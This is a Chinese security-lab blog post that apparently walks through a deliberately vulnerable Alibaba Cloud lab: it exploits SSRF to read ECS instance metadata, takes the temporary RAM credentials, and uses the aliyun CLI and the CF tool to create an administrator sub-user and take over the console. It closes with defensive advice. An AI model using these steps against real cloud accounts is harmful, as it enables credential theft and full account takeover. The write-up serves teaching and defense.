点
击蓝字 / 关注我们
日期:2022-11-04 作者:hdsec 介绍:通过构建的阿里云 ECS SSRF
漏洞靶场到接管阿里云控制台。
0x00 前言
本次分享以阿里云平台为例,对云服务中的一些攻防手法进行演示。利用搭建的SSRF
漏洞环境获取临时密钥,通过临时秘钥创建一个具有管理员访问权限的子用户,最后通过这个子用户接管阿里云控制台。
0x01 漏洞环境搭建
漏洞环境靶场地址:
https://github.com/HuoCorp/TerraformGoat
阿里云靶场搭建步骤如下,其他云服务器的搭建可参考靶场手册。
docker pull registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.5
docker run -itd --name terraformgoat_aliyun_0.0.5 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.5
docker exec -it terraformgoat_aliyun_0.0.5 /bin/bash
进入docker
容器内部后运行命令cd /TerraformGoat/aliyun/ecs/ecs_ssrf
进入阿里云ecs ssrf
靶场路径下,运行命令aliyun configure
配置阿里云的Access Key Id
和Access Key Secret
。
在阿里云控制台AccessKey
管理功能处查看阿里云的Access Key Id
和Access Key Secret
。
部署SSRF
靶场:
terraform init
terraform apply
在部署环境的时候遇到不少问题,其中一个就是由于创建的云服务是按时间计费的,但是一直提示报错说账户余额不足,此处美少女疑惑,我账户明明有两块钱怎么能不足呢?于是乎,我查询官网解释……好吧,是贫穷限制了我搭建靶场。
在我充值了一百大洋后,终于皇天不负苦心人,靶场环境搭建成功了!(内心不禁感叹:有钱就是好使)
需要注意的是,在漏洞复现完成后,搭建的环境会产生一定费用,可以用如下命令销毁靶场:
terraform destroy
0x02 漏洞利用
2.1 通过SSRF漏洞读取元数据
利用靶场的SSRF
漏洞我们可以读取到该服务器的实例元数据信息。
那什么是实例元数据信息呢?实例元数据是指当前ECS
实例存于在阿里云系统中的一些基本信息,包括:实例ID
、IP
地址、实例操作系统名称等。可以使用这些元数据管理或配置 ECS
实例。
在靶场环境中输入http://100.100.100.200/latest/meta-data
发起请求元数据的根目录。
在返回的结果中,可以看到根目录下存在ram/
目录,这也就意味着当前云服务器配置了RAM
角色,这样我们可以获取到临时凭证了。
首先在靶场中输入如下链接,获取角色名称huocorp-terraform-goat-role
http://100.100.100.200/latest/meta-data/ram/security-credentials/
然后利用元数据获取临时凭证:
http://100.100.100.200/latest/meta-data/ram/security-credentials/huocorp-terraform-goat-role
2.2 创建子用户接管控制台
运行命令aliyun configure --mode StsToken
将获取到的临时凭证配置到aliyun
命令行工具里。
创建子用户Test666
,密码是Test@666
,并赋予管理员权限。
aliyun ram CreateUser --UserName Test666
aliyun ram CreateLoginProfile --UserName Test666 --Password Test@666
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName Test666
访问https://signin.aliyun.com
页面,通过RAM
用户进行登录,这里的用户格式为 username@company-alias
,其中username
就是刚刚创建的用户名Test666
,company-alias
可以通过命令aliyun ram GetAccountAlias
获取到。
使用创建的RAM
用户名和密码成功登录阿里云控制台。
可以在RAM
访问控制里,看到当前用户的权限为AdministratorAccess
,具有管理所有阿里云资源的权限。
2.3 利用CF接管控制台
除了利用上面的方式,我们还可以利用工具CF
,获取阿里云的控制权限,工具项目地址:
https://github.com/teamssix/cf
利用ssrf
读取到的元数据,进行访问配置,配置命令如下:./cf config
。
运行命令./cf alibaba ls
可以一键列出当前访问凭证的云服务资源,可以看到有两个实例。
运行命令./cf alibaba console
一键接管控制台。
在浏览器中,打开控制台登录地址,并输入用户名、密码进行登录。
同样在RAM
访问控制里,可以看到当前用户的权限为AdministratorAccess
,具有管理所有阿里云资源的权限。
0x03 如何防御由SSRF造成的漏洞
除了需要修改SSRF
漏洞外,还需要对以下两点进行整改:
(1)、对元数据的访问进行加固,可以在阿里云OpenAPI
中开启元数据强制使用Token
访问,也可以在创建实例的时候将实例元数据访问模式设置为仅加固模式。
(2)、遵守权限最小化的原则,在为RAM
角色赋予权限时,避免赋予过高的权限。
0x04 总结
从搭建靶场到利用SSRF
漏洞获取临时密钥到接管阿里云控制台,整个过程学习到不少知识。让我见识到云上攻防跟常规攻防的不同,云上攻防更多的是配置上的问题。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
宸极实验室
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。
原文始发于微信公众号(宸极实验室):『红蓝对抗』教你如何接管 阿里云 控制台
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论